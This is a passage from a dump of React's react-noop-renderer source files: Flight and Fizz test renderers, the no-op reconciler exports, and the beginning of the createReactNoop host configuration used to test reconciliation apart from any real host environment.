    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support test selectors\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'react-noop-renderer does not support test selectors. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Test selectors (when unsupported)\nexport const supportsTestSelectors = false;\nexport const findFiberRoot = shim;\nexport const getBoundingRect = shim;\nexport const getTextContent = shim;\nexport const isHiddenSubtree = shim;\nexport const matchAccessibilityRole = shim;\nexport const setFocusIfFocusable = shim;\nexport const setupIntersectionObserver = shim;\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactNoop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * This is a renderer of React that doesn't have a render target output.\n * It is useful to demonstrate the internals of the reconciler in isolation\n * and for testing semantics of reconciliation separate from the host\n * environment.\n */\n\nimport ReactFiberReconciler from 'react-reconciler';\nimport createReactNoop from './createReactNoop';\n\nexport const {\n  _Scheduler,\n  getChildren,\n  dangerouslyGetChildren,\n  getPendingChildren,\n  dangerouslyGetPendingChildren,\n  getOrCreateRootContainer,\n  createRoot,\n  createLegacyRoot,\n  getChildrenAsJSX,\n  getPendingChildrenAsJSX,\n  getSuspenseyThingStatus,\n  resolveSuspenseyThing,\n  resetSuspenseyThingCache,\n  createPortal,\n  render,\n  renderLegacySyncRoot,\n  renderToRootWithID,\n  unmountRootWithID,\n  findInstance,\n  flushNextYield,\n  startTrackingHostCounters,\n  stopTrackingHostCounters,\n  expire,\n  flushExpired,\n  batchedUpdates,\n  deferredUpdates,\n  discreteUpdates,\n  idleUpdates,\n  flushSync,\n  flushPassiveEffects,\n  act,\n  dumpTree,\n  getRoot,\n  // TODO: Remove this after callers migrate to alternatives.\n  unstable_runWithPriority,\n  // $FlowFixMe[signature-verification-failure]\n} = createReactNoop(\n  ReactFiberReconciler, // reconciler\n  true, // useMutation\n);\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactNoopFlightClient.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * This is a renderer of React that doesn't have a render target output.\n * It is useful to demonstrate the internals of the reconciler in isolation\n * and for testing semantics of reconciliation separate from the host\n * environment.\n */\n\nimport type {Thenable} from 'shared/ReactTypes';\nimport type {FindSourceMapURLCallback} from 'react-client/flight';\n\nimport {readModule} from 'react-noop-renderer/flight-modules';\n\nimport ReactFlightClient from 'react-client/flight';\n\ntype Source = Array<Uint8Array>;\n\nconst decoderOptions = {stream: true};\n\nconst {createResponse, createStreamState, processBinaryChunk, getRoot, close} =\n  // $FlowFixMe[prop-missing]\n  ReactFlightClient({\n    createStringDecoder() {\n      return new TextDecoder();\n    },\n    readPartialStringChunk(decoder: TextDecoder, buffer: Uint8Array): string {\n      return decoder.decode(buffer, decoderOptions);\n    },\n    readFinalStringChunk(decoder: TextDecoder, buffer: Uint8Array): string {\n      return decoder.decode(buffer);\n    },\n    resolveClientReference(bundlerConfig: null, idx: string) {\n      return idx;\n    },\n    prepareDestinationForModule(moduleLoading: null, metadata: string) {},\n    preloadModule(idx: string) {},\n    requireModule(idx: string) {\n      return readModule(idx);\n    },\n    bindToConsole(methodName, args, badgeName) {\n      // $FlowFixMe[incompatible-call]\n      return Function.prototype.bind.apply(\n        // eslint-disable-next-line react-internal/no-production-logging\n        console[methodName],\n        [console].concat(args),\n      );\n    },\n    checkEvalAvailabilityOnceDev,\n  });\n\ntype ReadOptions = {|\n  findSourceMapURL?: FindSourceMapURLCallback,\n  debugChannel?: {onMessage: (message: string) => void},\n  close?: boolean,\n|};\n\nfunction read<T>(source: Source, options: ReadOptions): Thenable<T> {\n  const response = createResponse(\n    // $FlowFixMe[incompatible-call]\n    source,\n    null,\n    // $FlowFixMe[incompatible-call]\n    null,\n    undefined,\n    undefined,\n    undefined,\n    undefined,\n    false,\n    options !== undefined ? options.findSourceMapURL : undefined,\n    true,\n    undefined,\n    __DEV__ && options !== undefined && options.debugChannel !== undefined\n      ? // $FlowFixMe[incompatible-call]\n        options.debugChannel.onMessage\n      : undefined,\n  );\n  const streamState = createStreamState(response, source);\n  for (let i = 0; i < source.length; i++) {\n    processBinaryChunk(\n      response,\n      streamState,\n      source[i],\n      // $FlowFixMe[extra-arg]\n      0,\n    );\n  }\n  if (options !== undefined && options.close) {\n    close(response);\n  }\n  return getRoot(response);\n}\n\nlet hasConfirmedEval = false;\nfunction checkEvalAvailabilityOnceDev(): void {\n  if (__DEV__) {\n    if (!hasConfirmedEval) {\n      hasConfirmedEval = true;\n      try {\n        // eslint-disable-next-line no-eval\n        (0, eval)('null');\n      } catch {\n        console.error(\n          'eval() is not supported in this environment. ' +\n            'React requires eval() in development mode for various debugging features ' +\n            'like reconstructing callstacks from a different environment.\\n' +\n            'React will never use eval() in production mode',\n        );\n      }\n    }\n  } else {\n    throw new Error(\n      'checkEvalAvailabilityOnceDev should never be called in production mode. This is a bug in React.',\n    );\n  }\n}\n\nexport {read};\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactNoopFlightServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * This is a renderer of React that doesn't have a render target output.\n * It is useful to demonstrate the internals of the reconciler in isolation\n * and for testing semantics of reconciliation separate from the host\n * environment.\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\n\nimport {saveModule} from 'react-noop-renderer/flight-modules';\n\nimport ReactFlightServer from 'react-server/flight';\n\ntype Destination = Array<Uint8Array | string>;\n\nconst textEncoder = new TextEncoder();\n\n// $FlowFixMe[prop-missing]\nconst ReactNoopFlightServer = ReactFlightServer({\n  scheduleMicrotask(callback: () => void) {\n    callback();\n  },\n  scheduleWork(callback: () => void) {\n    callback();\n  },\n  beginWriting(destination: Destination): void {},\n  writeChunk(destination: Destination, chunk: string): void {\n    destination.push(chunk);\n  },\n  writeChunkAndReturn(destination: Destination, chunk: string): boolean {\n    destination.push(chunk);\n    return true;\n  },\n  completeWriting(destination: Destination): void {},\n  close(destination: Destination): void {},\n  closeWithError(destination: Destination, error: mixed): void {},\n  flushBuffered(destination: Destination): void {},\n  stringToChunk(content: string): Uint8Array {\n    return textEncoder.encode(content);\n  },\n  stringToPrecomputedChunk(content: string): Uint8Array {\n    return textEncoder.encode(content);\n  },\n  isClientReference(reference: Object): boolean {\n    return reference.$$typeof === Symbol.for('react.client.reference');\n  },\n  isServerReference(reference: Object): boolean {\n    return reference.$$typeof === Symbol.for('react.server.reference');\n  },\n  getClientReferenceKey(reference: Object): Object {\n    return reference;\n  },\n  resolveClientReferenceMetadata(\n    config: void,\n    reference: {$$typeof: symbol, value: any},\n  ) {\n    return saveModule(reference.value);\n  },\n});\n\ntype Options = {\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  identifierPrefix?: string,\n  signal?: AbortSignal,\n  debugChannel?: {onMessage?: (message: string) => void},\n  onError?: (error: mixed) => void,\n  startTime?: number,\n};\n\nfunction render(model: ReactClientValue, options?: Options): Destination {\n  const destination: Destination = [];\n  const bundlerConfig = undefined;\n  const request = ReactNoopFlightServer.createRequest(\n    model,\n    // $FlowFixMe[incompatible-call]\n    bundlerConfig,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    // $FlowFixMe[incompatible-call]\n    __DEV__ && options && options.debugChannel !== undefined,\n  );\n  const signal = options ? options.signal : undefined;\n  if (signal) {\n    if (signal.aborted) {\n      ReactNoopFlightServer.abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        ReactNoopFlightServer.abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (__DEV__ && options && options.debugChannel !== undefined) {\n    options.debugChannel.onMessage = message => {\n      ReactNoopFlightServer.resolveDebugMessage(request, message);\n    };\n  }\n  ReactNoopFlightServer.startWork(request);\n  ReactNoopFlightServer.startFlowing(\n    request,\n    // $FlowFixMe[incompatible-call]\n    destination,\n  );\n  return destination;\n}\n\nexport {render};\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactNoopPersistent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * This is a renderer of React that doesn't have a render target output.\n * It is useful to demonstrate the internals of the reconciler in isolation\n * and for testing semantics of reconciliation separate from the host\n * environment.\n */\n\nimport ReactFiberReconciler from 'react-reconciler';\nimport createReactNoop from './createReactNoop';\n\nexport const {\n  _Scheduler,\n  getChildren,\n  dangerouslyGetChildren,\n  getPendingChildren,\n  dangerouslyGetPendingChildren,\n  getOrCreateRootContainer,\n  createRoot,\n  createLegacyRoot,\n  getChildrenAsJSX,\n  getPendingChildrenAsJSX,\n  getSuspenseyThingStatus,\n  resolveSuspenseyThing,\n  resetSuspenseyThingCache,\n  createPortal,\n  render,\n  renderLegacySyncRoot,\n  renderToRootWithID,\n  unmountRootWithID,\n  findInstance,\n  flushNextYield,\n  startTrackingHostCounters,\n  stopTrackingHostCounters,\n  expire,\n  flushExpired,\n  batchedUpdates,\n  deferredUpdates,\n  discreteUpdates,\n  idleUpdates,\n  flushDiscreteUpdates,\n  flushSync,\n  flushPassiveEffects,\n  act,\n  dumpTree,\n  getRoot,\n  // TODO: Remove this once callers migrate to alternatives.\n  // This should only be used by React internals.\n  unstable_runWithPriority,\n  // $FlowFixMe[signature-verification-failure]\n} = createReactNoop(\n  ReactFiberReconciler, // reconciler\n  false, // useMutation\n);\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactNoopServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * This is a renderer of React that doesn't have a render target output.\n * It is useful to demonstrate the internals of the reconciler in isolation\n * and for testing semantics of reconciliation separate from the host\n * environment.\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport ReactFizzServer from 'react-server';\n\ntype Instance = {\n  type: string,\n  children: Array<Instance | TextInstance | SuspenseInstance>,\n  prop: any,\n  hidden: boolean,\n};\n\ntype TextInstance = {\n  text: string,\n  hidden: boolean,\n};\n\ntype ActivityInstance = {\n  children: Array<Instance | TextInstance | SuspenseInstance>,\n};\n\ntype SuspenseInstance = {\n  state: 'pending' | 'complete' | 'client-render',\n  children: Array<Instance | TextInstance | SuspenseInstance>,\n};\n\ntype Placeholder = {\n  parent: Instance | Segment | SuspenseInstance,\n  index: number,\n};\n\ntype Segment = {\n  children: Array<Instance | TextInstance | SuspenseInstance>,\n};\n\ntype Destination = {\n  root: null | Instance | TextInstance | SuspenseInstance,\n  placeholders: Map<number, Placeholder>,\n  segments: Map<number, Segment>,\n  stack: Array<Segment | Instance | SuspenseInstance>,\n};\n\ntype ResumableState = null;\ntype RenderState = null;\ntype HoistableState = null;\ntype PreambleState = null;\n\nconst POP = Buffer.from('/', 'utf8');\n\nfunction write(destination: Destination, buffer: Uint8Array): void {\n  const stack = destination.stack;\n  if (buffer === POP) {\n    stack.pop();\n    return;\n  }\n  // We assume one chunk is one instance.\n  const instance = JSON.parse(Buffer.from((buffer: any)).toString('utf8'));\n  if (stack.length === 0) {\n    destination.root = instance;\n  } else {\n    const parent = stack[stack.length - 1];\n    parent.children.push(instance);\n  }\n  stack.push(instance);\n}\n\n// $FlowFixMe[prop-missing]\nconst ReactNoopServer = ReactFizzServer({\n  scheduleMicrotask(callback: () => void) {\n    callback();\n  },\n  scheduleWork(callback: () => void) {\n    callback();\n  },\n  beginWriting(destination: Destination): void {},\n  writeChunk(destination: Destination, buffer: Uint8Array): void {\n    write(destination, buffer);\n  },\n  writeChunkAndReturn(destination: Destination, buffer: Uint8Array): boolean {\n    write(destination, buffer);\n    return true;\n  },\n  completeWriting(destination: Destination): void {},\n  close(destination: Destination): void {},\n  closeWithError(destination: Destination, error: mixed): void {},\n  flushBuffered(destination: Destination): void {},\n\n  byteLengthOfChunk: null,\n\n  getChildFormatContext(): null {\n    return null;\n  },\n  getSuspenseFallbackFormatContext(): null {\n    return null;\n  },\n  getSuspenseContentFormatContext(): null {\n    return null;\n  },\n\n  getViewTransitionFormatContext(): null {\n    return null;\n  },\n\n  resetResumableState(): void {},\n  completeResumableState(): void {},\n\n  pushTextInstance(\n    target: Array<Uint8Array>,\n    text: string,\n    renderState: RenderState,\n    textEmbedded: boolean,\n  ): boolean {\n    const textInstance: TextInstance = {\n      text,\n      hidden: false,\n    };\n    target.push(Buffer.from(JSON.stringify(textInstance), 'utf8'), POP);\n    return false;\n  },\n  pushStartInstance(\n    target: Array<Uint8Array>,\n    type: string,\n    props: Object,\n  ): ReactNodeList {\n    const instance: Instance = {\n      type: type,\n      children: [],\n      prop: props.prop,\n      hidden: false,\n    };\n    target.push(Buffer.from(JSON.stringify(instance), 'utf8'));\n    return props.children;\n  },\n\n  pushEndInstance(\n    target: Array<Uint8Array>,\n    type: string,\n    props: Object,\n  ): void {\n    target.push(POP);\n  },\n\n  // This is a noop in ReactNoop\n  pushSegmentFinale(\n    target: Array<Uint8Array>,\n    renderState: RenderState,\n    lastPushedText: boolean,\n    textEmbedded: boolean,\n  ): void {},\n\n  writeCompletedRoot(\n    destination: Destination,\n    resumableState: ResumableState,\n    renderState: RenderState,\n    isComplete: boolean,\n  ): boolean {\n    return true;\n  },\n\n  writePlaceholder(\n    destination: Destination,\n    renderState: RenderState,\n    id: number,\n    // $FlowFixMe[incompatible-return]\n  ): boolean {\n    const parent = destination.stack[destination.stack.length - 1];\n    destination.placeholders.set(id, {\n      parent: parent,\n      index: parent.children.length,\n    });\n  },\n\n  pushStartActivityBoundary(\n    target: Array<Uint8Array>,\n    renderState: RenderState,\n  ): void {\n    const activityInstance: ActivityInstance = {\n      children: [],\n    };\n    target.push(Buffer.from(JSON.stringify(activityInstance), 'utf8'));\n  },\n\n  pushEndActivityBoundary(\n    target: Array<Uint8Array>,\n    renderState: RenderState,\n  ): void {\n    target.push(POP);\n  },\n\n  writeStartCompletedSuspenseBoundary(\n    destination: Destination,\n    renderState: RenderState,\n  ): boolean {\n    const suspenseInstance: SuspenseInstance = {\n      state: 'complete',\n      children: [],\n    };\n    const parent = destination.stack[destination.stack.length - 1];\n    parent.children.push(suspenseInstance);\n    destination.stack.push(suspenseInstance);\n    return true;\n  },\n  writeStartPendingSuspenseBoundary(\n    destination: Destination,\n    renderState: RenderState,\n  ): boolean {\n    const suspenseInstance: SuspenseInstance = {\n      state: 'pending',\n      children: [],\n    };\n    const parent = destination.stack[destination.stack.length - 1];\n    parent.children.push(suspenseInstance);\n    destination.stack.push(suspenseInstance);\n    return true;\n  },\n  writeStartClientRenderedSuspenseBoundary(\n    destination: Destination,\n    renderState: RenderState,\n  ): boolean {\n    const suspenseInstance: SuspenseInstance = {\n      state: 'client-render',\n      children: [],\n    };\n    const parent = destination.stack[destination.stack.length - 1];\n    parent.children.push(suspenseInstance);\n    destination.stack.push(suspenseInstance);\n    return true;\n  },\n  writeEndCompletedSuspenseBoundary(destination: Destination): boolean {\n    destination.stack.pop();\n    return true;\n  },\n  writeEndPendingSuspenseBoundary(destination: Destination): boolean {\n    destination.stack.pop();\n    return true;\n  },\n  writeEndClientRenderedSuspenseBoundary(destination: Destination): boolean {\n    destination.stack.pop();\n    return true;\n  },\n\n  writeStartSegment(\n    destination: Destination,\n    renderState: RenderState,\n    formatContext: null,\n    id: number,\n  ): boolean {\n    const segment: Segment = {\n      children: [],\n    };\n    destination.segments.set(id, segment);\n    if (destination.stack.length > 0) {\n      throw new Error('Segments are only expected at the root of the stack.');\n    }\n    destination.stack.push(segment);\n    return true;\n  },\n  writeEndSegment(destination: Destination, formatContext: null): boolean {\n    destination.stack.pop();\n    return true;\n  },\n\n  writeCompletedSegmentInstruction(\n    destination: Destination,\n    renderState: RenderState,\n    contentSegmentID: number,\n  ): boolean {\n    const segment = destination.segments.get(contentSegmentID);\n    if (!segment) {\n      throw new Error('Missing segment.');\n    }\n    const placeholder = destination.placeholders.get(contentSegmentID);\n    if (!placeholder) {\n      throw new Error('Missing placeholder.');\n    }\n    placeholder.parent.children.splice(\n      placeholder.index,\n      0,\n      ...segment.children,\n    );\n    return true;\n  },\n\n  writeCompletedBoundaryInstruction(\n    destination: Destination,\n    renderState: RenderState,\n    boundary: SuspenseInstance,\n    contentSegmentID: number,\n  ): boolean {\n    const segment = destination.segments.get(contentSegmentID);\n    if (!segment) {\n      throw new Error('Missing segment.');\n    }\n    boundary.children = segment.children;\n    boundary.state = 'complete';\n    return true;\n  },\n\n  writeClientRenderBoundaryInstruction(\n    destination: Destination,\n    renderState: RenderState,\n    boundary: SuspenseInstance,\n  ): boolean {\n    // $FlowFixMe[prop-missing]\n    boundary.status = 'client-render';\n    return true;\n  },\n\n  writePreambleStart() {},\n  writePreambleEnd() {},\n  writeHoistables() {},\n  writeHoistablesForBoundary() {},\n  writePostamble() {},\n  hoistHoistables(parent: HoistableState, child: HoistableState) {},\n  hasSuspenseyContent(\n    hoistableState: HoistableState,\n    flushingInShell: boolean,\n  ): boolean {\n    return false;\n  },\n  createHoistableState(): HoistableState {\n    return null;\n  },\n  emitEarlyPreloads() {},\n  createPreambleState(): PreambleState {\n    return null;\n  },\n  canHavePreamble() {\n    return false;\n  },\n  hoistPreambleState() {},\n  isPreambleReady() {\n    return true;\n  },\n  isPreambleContext() {\n    return false;\n  },\n});\n\ntype Options = {\n  progressiveChunkSize?: number,\n  onShellReady?: () => void,\n  onAllReady?: () => void,\n  onError?: (error: mixed) => ?string,\n};\n\nfunction render(children: React$Element<any>, options?: Options): Destination {\n  // $FlowFixMe[prop-missing]\n  const destination: Destination = {\n    root: null,\n    placeholders: new Map(),\n    segments: new Map(),\n    stack: [],\n    abort() {\n      ReactNoopServer.abort(request);\n    },\n  };\n  const request = ReactNoopServer.createRequest(\n    children,\n    // $FlowFixMe[incompatible-call]\n    null,\n    // $FlowFixMe[incompatible-call]\n    null,\n    // $FlowFixMe[incompatible-call]\n    null,\n    options ? options.progressiveChunkSize : undefined,\n    options ? options.onError : undefined,\n    options ? options.onAllReady : undefined,\n    options ? options.onShellReady : undefined,\n  );\n  ReactNoopServer.startWork(request);\n  // $FlowFixMe[incompatible-call]\n  ReactNoopServer.startFlowing(request, destination);\n  return destination;\n}\n\nexport {render};\n"
  },
  {
    "path": "packages/react-noop-renderer/src/createReactNoop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * This is a renderer of React that doesn't have a render target output.\n * It is useful to demonstrate the internals of the reconciler in isolation\n * and for testing semantics of reconciliation separate from the host\n * environment.\n */\n\nimport type {\n  Fiber,\n  TransitionTracingCallbacks,\n} from 'react-reconciler/src/ReactInternalTypes';\nimport type {UpdateQueue} from 'react-reconciler/src/ReactFiberClassUpdateQueue';\nimport type {ReactNodeList} from 'shared/ReactTypes';\nimport type {RootTag} from 'react-reconciler/src/ReactRootTags';\nimport type {EventPriority} from 'react-reconciler/src/ReactEventPriorities';\nimport type {TransitionTypes} from 'react/src/ReactTransitionType';\nimport typeof * as HostConfig from 'react-reconciler/src/ReactFiberConfig';\nimport typeof * as ReactFiberConfigWithNoMutation from 'react-reconciler/src/ReactFiberConfigWithNoMutation';\nimport typeof * as ReactFiberConfigWithNoViewTransition from 'react-reconciler/src/ReactFiberConfigWithNoViewTransition';\nimport typeof * as ReactFiberConfigWithNoPersistence from 'react-reconciler/src/ReactFiberConfigWithNoPersistence';\n\nimport typeof * as ReconcilerAPI from 'react-reconciler/src/ReactFiberReconciler';\nimport type {\n  Container,\n  HostContext,\n  Instance,\n  PublicInstance,\n  TextInstance,\n} from './ReactFiberConfigNoop';\n\nimport * as Scheduler from 'scheduler/unstable_mock';\nimport {REACT_FRAGMENT_TYPE, REACT_ELEMENT_TYPE} from 'shared/ReactSymbols';\nimport isArray from 'shared/isArray';\nimport {checkPropStringCoercion} from 'shared/CheckStringCoercion';\nimport {\n  NoEventPriority,\n  DiscreteEventPriority,\n  DefaultEventPriority,\n  IdleEventPriority,\n  ConcurrentRoot,\n  LegacyRoot,\n} from 'react-reconciler/constants';\nimport * as DefaultConfig from './ReactFiberConfigNoop';\n\nimport {disableLegacyMode} from 'shared/ReactFeatureFlags';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport ReactVersion from 'shared/ReactVersion';\n\ntype Props = {\n  prop: any,\n  hidden: boolean,\n  children?: mixed,\n  bottom?: null | number,\n  left?: null | number,\n  right?: null | number,\n  top?: null | number,\n  src?: string,\n  ...\n};\ntype CreateRootOptions = {\n  unstable_transitionCallbacks?: TransitionTracingCallbacks,\n  onUncaughtError?: (\n    error: mixed,\n    errorInfo: {+componentStack: ?string},\n  ) => void,\n  onCaughtError?: (\n    error: mixed,\n    errorInfo: {\n      +componentStack: ?string,\n      +errorBoundary?: ?component(...props: any),\n    },\n  ) => void,\n  onDefaultTransitionIndicator?: () => void | (() => void),\n  ...\n};\ntype InstanceMeasurement = null;\n\ntype SuspenseyCommitSubscription = {\n  pendingCount: number,\n  commit: null | (() => void),\n};\n\nexport opaque type SuspendedState = SuspenseyCommitSubscription;\n\nexport type TransitionStatus = mixed;\n\nexport type FormInstance = Instance;\n\nexport type RunningViewTransition = null;\n\nexport type ViewTransitionInstance = null | {name: string, ...};\n\nexport type GestureTimeline = null;\n\nconst NO_CONTEXT = {};\nconst UPPERCASE_CONTEXT = {};\nif (__DEV__) {\n  Object.freeze(NO_CONTEXT);\n}\n\nfunction createReactNoop(\n  reconciler: (hostConfig: HostConfig) => ReconcilerAPI,\n  useMutation: boolean,\n): any {\n  let instanceCounter = 0;\n  let hostUpdateCounter = 0;\n  let hostCloneCounter = 0;\n\n  function appendChildToContainerOrInstance(\n    parentInstance: Container | Instance,\n    child: Instance | TextInstance,\n  ): void {\n    const prevParent = child.parent;\n\n    if (\n      prevParent !== -1 &&\n      prevParent !==\n        // $FlowFixMe[prop-missing]\n        (parentInstance: Instance).id\n    ) {\n      throw new Error('Reparenting is not allowed');\n    }\n\n    child.parent =\n      // $FlowFixMe[prop-missing]\n      (parentInstance: Instance).id;\n    const index = parentInstance.children.indexOf(child);\n    if (index !== -1) {\n      parentInstance.children.splice(index, 1);\n    }\n    parentInstance.children.push(child);\n  }\n\n  function appendChildToContainer(\n    parentInstance: Container,\n    child: Instance | TextInstance,\n  ): void {\n    if (typeof parentInstance.rootID !== 'string') {\n      // Some calls to this aren't typesafe.\n      // This helps surface mistakes in tests.\n      throw new Error(\n        'appendChildToContainer() first argument is not a container.',\n      );\n    }\n    appendChildToContainerOrInstance(parentInstance, child);\n  }\n\n  function appendChild(\n    parentInstance: Instance,\n    child: Instance | TextInstance,\n  ): void {\n    if (typeof (parentInstance: any).rootID === 'string') {\n      // Some calls to this aren't typesafe.\n      // This helps surface mistakes in tests.\n      throw new Error('appendChild() first argument is not an instance.');\n    }\n    appendChildToContainerOrInstance(parentInstance, child);\n  }\n\n  function insertInContainerOrInstanceBefore(\n    parentInstance: Container | Instance,\n    child: Instance | TextInstance,\n    beforeChild: Instance | TextInstance,\n  ): void {\n    const index = parentInstance.children.indexOf(child);\n    if (index !== -1) {\n      parentInstance.children.splice(index, 1);\n    }\n    const beforeIndex = parentInstance.children.indexOf(beforeChild);\n    if (beforeIndex === -1) {\n      throw new Error('This child does not exist.');\n    }\n    parentInstance.children.splice(beforeIndex, 0, child);\n  }\n\n  function insertInContainerBefore(\n    parentInstance: Container,\n    child: Instance | TextInstance,\n    beforeChild: Instance | TextInstance,\n  ) {\n    if (typeof parentInstance.rootID !== 'string') {\n      // Some calls to this aren't typesafe.\n      // This helps surface mistakes in tests.\n      throw new Error(\n        'insertInContainerBefore() first argument is not a container.',\n      );\n    }\n    insertInContainerOrInstanceBefore(parentInstance, child, beforeChild);\n  }\n\n  function insertBefore(\n    parentInstance: Instance,\n    child: Instance | TextInstance,\n    beforeChild: Instance | TextInstance,\n  ) {\n    if (typeof (parentInstance: any).rootID === 'string') {\n      // Some calls to this aren't typesafe.\n      // This helps surface mistakes in tests.\n      throw new Error('insertBefore() first argument is not an instance.');\n    }\n    insertInContainerOrInstanceBefore(parentInstance, child, beforeChild);\n  }\n\n  function clearContainer(container: Container): void {\n    container.children.splice(0);\n  }\n\n  function removeChildFromContainerOrInstance(\n    parentInstance: Container | Instance,\n    child: Instance | TextInstance,\n  ): void {\n    const index = parentInstance.children.indexOf(child);\n    if (index === -1) {\n      throw new Error('This child does not exist.');\n    }\n    parentInstance.children.splice(index, 1);\n  }\n\n  function removeChildFromContainer(\n    parentInstance: Container,\n    child: Instance | TextInstance,\n  ): void {\n    if (typeof parentInstance.rootID !== 'string') {\n      // Some calls to this aren't typesafe.\n      // This helps surface mistakes in tests.\n      throw new Error(\n        'removeChildFromContainer() first argument is not a container.',\n      );\n    }\n    removeChildFromContainerOrInstance(parentInstance, child);\n  }\n\n  function removeChild(\n    parentInstance: Instance,\n    child: Instance | TextInstance,\n  ): void {\n    if (typeof (parentInstance: any).rootID === 'string') {\n      // Some calls to this aren't typesafe.\n      // This helps surface mistakes in tests.\n      throw new Error('removeChild() first argument is not an instance.');\n    }\n    removeChildFromContainerOrInstance(parentInstance, child);\n  }\n\n  function cloneInstance(\n    instance: Instance,\n    type: string,\n    oldProps: Props,\n    newProps: Props,\n    keepChildren: boolean,\n    children: ?$ReadOnlyArray<Instance>,\n  ): Instance {\n    if (__DEV__) {\n      checkPropStringCoercion(newProps.children, 'children');\n    }\n    const clone: Instance = {\n      id: instance.id,\n      type: type,\n      parent: instance.parent,\n      children: keepChildren\n        ? instance.children\n        : // $FlowFixMe[incompatible-type] We're not typing immutable instances.\n          (children ?? []),\n      text: shouldSetTextContent(type, newProps)\n        ? computeText((newProps.children: any) + '', instance.context)\n        : null,\n      prop: newProps.prop,\n      hidden: !!newProps.hidden,\n      context: instance.context,\n    };\n\n    if (type === 'suspensey-thing' && typeof newProps.src === 'string') {\n      // $FlowFixMe[prop-missing]\n      clone.src = newProps.src;\n    }\n\n    Object.defineProperty(clone, 'id', {\n      value: clone.id,\n      enumerable: false,\n    });\n    Object.defineProperty(clone, 'parent', {\n      value: clone.parent,\n      enumerable: false,\n    });\n    Object.defineProperty(clone, 'text', {\n      value: clone.text,\n      enumerable: false,\n    });\n    Object.defineProperty(clone, 'context', {\n      value: clone.context,\n      enumerable: false,\n    });\n    hostCloneCounter++;\n    return clone;\n  }\n\n  function shouldSetTextContent(type: string, props: Props): boolean {\n    if (type === 'errorInBeginPhase') {\n      throw new Error('Error in host config.');\n    }\n    return (\n      typeof props.children === 'string' ||\n      typeof props.children === 'number' ||\n      typeof props.children === 'bigint'\n    );\n  }\n\n  function computeText(rawText: string, hostContext: HostContext) {\n    return hostContext === UPPERCASE_CONTEXT ? rawText.toUpperCase() : rawText;\n  }\n\n  type SuspenseyThingRecord = {\n    status: 'pending' | 'fulfilled',\n    subscriptions: Array<SuspenseyCommitSubscription> | null,\n  };\n\n  let suspenseyThingCache: Map<string, SuspenseyThingRecord> | null = null;\n\n  function startSuspendingCommit(): SuspendedState {\n    // Represents a subscription for all the suspensey things that block a\n    // particular commit. Once they've all loaded, the commit phase can proceed.\n    return {\n      pendingCount: 0,\n      commit: null,\n    };\n  }\n\n  function suspendInstance(\n    state: SuspendedState,\n    instance: Instance,\n    type: string,\n    props: Props,\n  ): void {\n    const src = props.src;\n    if (type === 'suspensey-thing' && typeof src === 'string') {\n      // Attach a listener to the suspensey thing and create a subscription\n      // object that uses reference counting to track when all the suspensey\n      // things have loaded.\n      // $FlowFixMe[incompatible-use] Still not nullable\n      const record = suspenseyThingCache.get(src);\n      if (record === undefined) {\n        throw new Error('Could not find record for key.');\n      }\n      if (record.status === 'fulfilled') {\n        // Already loaded.\n      } else if (record.status === 'pending') {\n        state.pendingCount++;\n        // Stash the subscription on the record. In `resolveSuspenseyThing`,\n        // we'll use this fire the commit once all the things have loaded.\n        if (record.subscriptions === null) {\n          record.subscriptions = [];\n        }\n        record.subscriptions.push(state);\n      }\n    } else {\n      throw new Error(\n        'Did not expect this host component to be visited when suspending ' +\n          'the commit. Did you check the SuspendCommit flag?',\n      );\n    }\n  }\n\n  function waitForCommitToBeReady(\n    state: SuspendedState,\n    timeoutOffset: number,\n  ): ((commit: () => void) => () => void) | null {\n    if (state.pendingCount > 0) {\n      return (commit: () => void) => {\n        state.commit = commit;\n        const cancelCommit = () => {\n          state.commit = null;\n        };\n        return cancelCommit;\n      };\n    }\n    return null;\n  }\n\n  const sharedHostConfig: HostConfig = {\n    rendererVersion: ReactVersion,\n    rendererPackageName: 'react-noop',\n\n    ...DefaultConfig,\n\n    extraDevToolsConfig: null,\n\n    getRootHostContext() {\n      return NO_CONTEXT;\n    },\n\n    getChildHostContext(parentHostContext: HostContext, type: string) {\n      if (type === 